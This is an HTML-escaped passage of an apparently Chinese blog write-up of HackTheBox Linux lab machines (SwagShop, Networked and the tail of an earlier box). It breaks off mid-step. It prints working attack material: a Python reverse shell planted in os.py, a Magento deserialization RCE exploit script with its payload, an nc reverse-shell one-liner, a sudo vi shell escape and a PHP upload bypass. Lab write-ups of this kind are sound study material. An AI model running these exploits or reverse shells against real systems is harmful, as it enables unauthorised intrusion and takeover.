class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;db_pass=Agpyu12!0.213$&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;db_name=FZ&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;这一步开始还没有上传脚本跑 找到了friend的mysql密码&lt;/p&gt;&#10;&lt;p&gt;并且发现home里面存在一个friend的用户&lt;/p&gt;&#10;&lt;p&gt;直接su不行 生成一个tty 可以su切换到friend&lt;/p&gt;&#10;&lt;p&gt;python -c &amp;lsquo;import pty; pty.spawn(&amp;quot;/bin/bash&amp;quot;)&amp;rsquo;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0167.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;sudo -l用不了 ssh直接连就行&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0168.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;好吧 看错了 他的意思是friend不能用sudo 给ban了&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0169.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;我还以为常规提权就结束了 直接传脚本上去扫一下吧&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;root 596 0.0 0.3 28676 2964 ? Ss 09:12 0:00 /usr/sbin/vsftpd /etc/vsftpd.conf&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-rwxr-xr-x 1 root root 1232 Apr 19 2018 console-setup.sh&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-rwxr-xr-x 1 root root 3809 Feb 15 2018 hwclock.sh&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-rwxr-xr-x 1 root root 1479 Feb 16 2018 keyboard-setup.sh&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-rw-r--r-- 1 root root 685 Jan 28 2018 resolv.conf&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-rw-r--r-- 1 root root 42 Jun 27 2018 apache2-systemd.conf&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-rwxr-xr-x 1 root root 92 Feb 22 2018 hdparm&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-rw-rw---- 1 friend mail 1 Jan 15 2019 friend&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;确实没啥东西 看一下进程把 目前发现的一些提权都是计划任务 而我是看不到的 看进程能看到&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0170.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;真有计划任务&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0171.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;都注释了 但是提到了一个stmp发邮件的服务&lt;/p&gt;&#10;&lt;p&gt;也看到了user为you pass为PAPAP&lt;/p&gt;&#10;&lt;p&gt;收集完接着搜其他东西 发现了个很有意思的东西&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0172.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;基本上能确定了 引用os.py 会触发os里面的main函数 这个之前写代码的时候遇到过非常多 直接往里面加东西就行 os.py底层调用的是 posixmodule.c 而在这个文件内没有system函数 直接找python反弹shell的脚本就行 写在主函数自然会调用&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0173.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;找到的都带os 找个不带os的就行&lt;/p&gt;&#10;&lt;p&gt;找脚本花了很多时间 但最后还是找到了&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import socket&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import subprocess&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import pty&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;s.connect((&amp;#34;10.10.16.13&amp;#34;, 6666))&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;s_dup = s.fileno()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;subprocess.call([&amp;#34;/bin/sh&amp;#34;], stdin=s_dup, stdout=s_dup, stderr=s_dup)&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;成功弹回shell&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0174.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;至此终于结束了 这里也学了很多思维 多打打就行了&lt;/p&gt;&#10;&lt;h2 id="10swagshop"&gt;&lt;a href="#10swagshop" class="header-anchor"&gt;&lt;/a&gt;10.SwagShop&#10;&lt;/h2&gt;&lt;p&gt;信息收集:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0175.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0176.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0177.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0178.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0179.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;明显是个cms框架 第一时间search一下 并且找目标版本 同时看看有没有默认口令&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0180.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;这些exp没搜到接口 所以打不了&lt;/p&gt;&#10;&lt;p&gt;目录爆破发现一个有意思的地方&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0181.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;只要是传上去的session都会被记录下来 我先进行爆破看看有没有历史的session能登陆的&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0182.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0183.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0184.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;其实还有个办法 只要我一直不动网站 目标网站后台如果有定时任务 他自然会自动登录 我就一直刷新不带cookie 然后看看最近的cookie是哪个就行&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0185.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;完全没有 就看定时任务有没有session传上来了 等10分钟左右看看吧&lt;/p&gt;&#10;&lt;p&gt;还是没有任何定时任务&lt;/p&gt;&#10;&lt;p&gt;但是这个session文件是可以打开的 直接爆破session文件 去看看里面的内容 只要不是我的ip就行 挨个筛选&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0186.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0187.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0188.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;剩下的其实还有很多 就不列举了&lt;/p&gt;&#10;&lt;p&gt;这里面有大量的cookie和接口 但是我利用这些cookie包括ua都换了 就是访问不到&lt;/p&gt;&#10;&lt;p&gt;这个cookie我在想是不是失效了 但是我发现他的session可以记录之前访问过的东西 同时我发现了这个&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0189.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;自己随便登录一次 看看他是怎么记录账密的&lt;/p&gt;&#10;&lt;p&gt;完全无法登录&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0190.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0191.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;搜哈希的时候扫到了一篇报告 而这个路径 跟我searchsploit的那个脚本很相似&lt;/p&gt;&#10;&lt;p&gt;这篇文章是15年写的 当时这个漏洞还算是0day&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://blog.sucuri.net/2015/04/magento-shoplift-supee-5344-exploits-in-the-wild.html" target="_blank" rel="noopener"&#10; &gt;https://blog.sucuri.net/2015/04/magento-shoplift-supee-5344-exploits-in-the-wild.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;我感觉就是处处提示要打exp 但是实际上我并不清楚这个cms的具体版本&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0192.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;就是这个poc 遗忘了这个思路 如果没有找到版本信息 实际上可能是字典不够强 可以直接尝试nday&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0193.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;成功了 这个脚本有bug&lt;/p&gt;&#10;&lt;p&gt;把没注释的删掉 自行加个域名就行 而且还有一点很重要 就是必须要在后面加个index.php 才能进行引用 不然路径索引不到的&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0194.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;终于进后台了&lt;/p&gt;&#10;&lt;p&gt;其实这里我还有个代码执行的脚本 37811 当时search的时候找到的 缺账号密码所以不能登录 现在修改下代码看看能不能getshell&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0195.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;这个脚本问题出现在这 他这样请求根本拿不到key 他的思路是之后使用 找到的url路径加上key 直接进后台 我们将前面登录的全删了 把key和url传给他就行&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0196.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;太难搞了 只能做代码审计 最后终于搞完了&lt;/p&gt;&#10;&lt;p&gt;登陆成功需要的两个值在这主页&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0197.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;就在主页&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0198.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;第二个值也在主页 切换抓包就行&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0199.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;更新一下日期&lt;/p&gt;&#10;&lt;p&gt;构造payload的类型会卡死的 必须为a bytes-like object 而不是 str 在原有的代码上改就行 所以只能在python2上构造&lt;/p&gt;&#10;&lt;p&gt;其实把&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0200.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;这里删掉就行 代码的运行失败 全因为这里没有登陆成功 导致后续失败 删掉 全改好 直接运行即出结果&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0201.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;我调试这个脚本花了非常多的时间 一开始从没用过 mechanize 并且 直接复用python3的话 他的正则表达式要重新写 如果单纯的自行把需要的参数直接加进去 他也会报错 很扯淡&lt;/p&gt;&#10;&lt;p&gt;特别是最后一步必须python2发包 加密 因为生成base64的时候 python2和3还不一样&lt;/p&gt;&#10;&lt;p&gt;其实全部看完之后 到现在成功执行 最简单的方法就是 自行去找 tunnel 参数 非常简单&lt;/p&gt;&#10;&lt;p&gt;而payload这一块 自行加参数 让他本地生成就行 然后只用拼接url 自行访问&lt;/p&gt;&#10;&lt;p&gt;下面这个脚本加参数可以直接获得exp&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;from hashlib import md5&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import sys&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import re&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import base64&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import mechanize&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;arg = &amp;#34;whoami&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;php_function = &amp;#39;system&amp;#39; # Note: we can only pass 1 argument to the function&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;install_date = &amp;#39;Wed, 08 May 2019 07:23:09 +0000&amp;#39; # This needs to be the exact date from /app/etc/local.xml&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# POP chain to pivot into call_user_exec&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;payload = &amp;#39;O:8:\&amp;#34;Zend_Log\&amp;#34;:1:{s:11:\&amp;#34;\00*\00_writers\&amp;#34;;a:2:{i:0;O:20:\&amp;#34;Zend_Log_Writer_Mail\&amp;#34;:4:{s:16:&amp;#39; \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;\&amp;#34;\00*\00_eventsToMail\&amp;#34;;a:3:{i:0;s:11:\&amp;#34;EXTERMINATE\&amp;#34;;i:1;s:12:\&amp;#34;EXTERMINATE!\&amp;#34;;i:2;s:15:\&amp;#34;&amp;#39; \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;EXTERMINATE!!!!\&amp;#34;;}s:22:\&amp;#34;\00*\00_subjectPrependText\&amp;#34;;N;s:10:\&amp;#34;\00*\00_layout\&amp;#34;;O:23:\&amp;#34;&amp;#39; \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Zend_Config_Writer_Yaml\&amp;#34;:3:{s:15:\&amp;#34;\00*\00_yamlEncoder\&amp;#34;;s:%d:\&amp;#34;%s\&amp;#34;;s:17:\&amp;#34;\00*\00&amp;#39; \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;_loadedSection\&amp;#34;;N;s:10:\&amp;#34;\00*\00_config\&amp;#34;;O:13:\&amp;#34;Varien_Object\&amp;#34;:1:{s:8:\&amp;#34;\00*\00_data\&amp;#34;&amp;#39; \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;;s:%d:\&amp;#34;%s\&amp;#34;;}}s:8:\&amp;#34;\00*\00_mail\&amp;#34;;O:9:\&amp;#34;Zend_Mail\&amp;#34;:0:{}}i:1;i:2;}}&amp;#39; % (len(php_function), php_function,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; len(arg), arg)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;tunnel = &amp;#34;http://swagshop.htb/index.php/admin/dashboard/tunnel/key/cfd2660c391a49a2ee56a96ffe8300f0/&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;payload = base64.b64encode(payload)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;gh = md5(payload + install_date).hexdigest()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;exploit = tunnel + &amp;#39;?ga=&amp;#39; + payload + &amp;#39;&amp;amp;h=&amp;#39; + gh&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;print exploit&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;arg是你想执行的命令&lt;/p&gt;&#10;&lt;p&gt;install_date是/app/etc/local.xml 这地方的&lt;/p&gt;&#10;&lt;p&gt;tunnel 获取到之后只留住key 后面全删&lt;/p&gt;&#10;&lt;p&gt;直接访问出来的exploit那个网址就行了&lt;/p&gt;&#10;&lt;p&gt;测试了bash反弹shell不行 用了nc弹了回来&lt;/p&gt;&#10;&lt;p&gt;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&amp;gt;&amp;amp;1|nc 10.0.0.1 1234 &amp;gt;/tmp/f&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0202.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;外网打点这一块对代码审计的要求有点高&lt;/p&gt;&#10;&lt;p&gt;提权信息收集：&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0203.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0204.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;本来以为要提权到haris 看到了sudo -l 一眼常规提权&lt;/p&gt;&#10;&lt;p&gt;sudo /usr/bin/vi /var/www/html/api.php&lt;/p&gt;&#10;&lt;p&gt;直接输入 :!/bin/sh&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0205.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;总体来说 难点在于他那个cms不是很难 而是难在太老了 得自己去改脚本 做代码审计 而且他那些写的一开始我觉得写的抽象 但是后面一看 写的确实没问题 只是要判断的太多了 这个大部分时间浪费在外网打点上了&lt;/p&gt;&#10;&lt;h2 id="11networked"&gt;&lt;a href="#11networked" class="header-anchor"&gt;&lt;/a&gt;11.Networked&#10;&lt;/h2&gt;&lt;p&gt;信息收集:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0206.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;直接说结论吧 没有什么东西 主要是代码审计&lt;/p&gt;&#10;&lt;p&gt;三个文件基本上都审完了 全读完了 完全没有发现任何漏洞 只发现一点 就是他的文件命名方式很有特色&lt;/p&gt;&#10;&lt;p&gt;审完了依然没东西 后续只能看wp 有点炸裂&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://stackoverflow.com/questions/78705237/file-upload-bypass-mechnisms-in-php" target="_blank" rel="noopener"&#10; &gt;https://stackoverflow.com/questions/78705237/file-upload-bypass-mechnisms-in-php&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://dev.to/giannisftaras/file-upload-bypass-using-mime-type-4ej0" target="_blank" rel="noopener"&#10; &gt;https://dev.to/giannisftaras/file-upload-bypass-using-mime-type-4ej0&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://techyzilla.blogspot.com/2012/07/injecting-malicious-php-in-to-an-image-file.html" target="_blank" rel="noopener"&#10; &gt;https://techyzilla.blogspot.com/2012/07/injecting-malicious-php-in-to-an-image-file.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;不知道是靶场太老了还是咋样 这种绕过方式我是第一次见&lt;/p&gt;&#10;&lt;p&gt;但是实际上它是有提示的&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0207.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;遇到明显的接口函数提示直接搜漏洞&lt;/p&gt;&#10;&lt;p&gt;只能说又学到了 上面那几个网址介绍的结论就是&lt;/p&gt;&#10;&lt;p&gt;你只需要对代码侧进行欺骗，上传个php.gif的文件，然后内容包含php内容，服务器端就会自动解析为php代码&lt;/p&gt;&#10;&lt;p&gt;很扯淡&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0208.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0209.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;直接弹shell把&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0210.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0211.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;开始提权 信息收集&lt;/p&gt;&#10;&lt;p&gt;到家目录发现一个明显的提权点&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0212.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;每3分钟执行的计划任务 权限应该是guly 可以传pspy32看看 但是没必要&lt;/p&gt;&#10;&lt;p&gt;他会传入一个value的值 而这个值是可以加到exec里的&lt;/p&gt;&#10;&lt;p&gt;也就是拼接命令就行 nohup /bin/rm -f $path$value &amp;gt; /dev/null 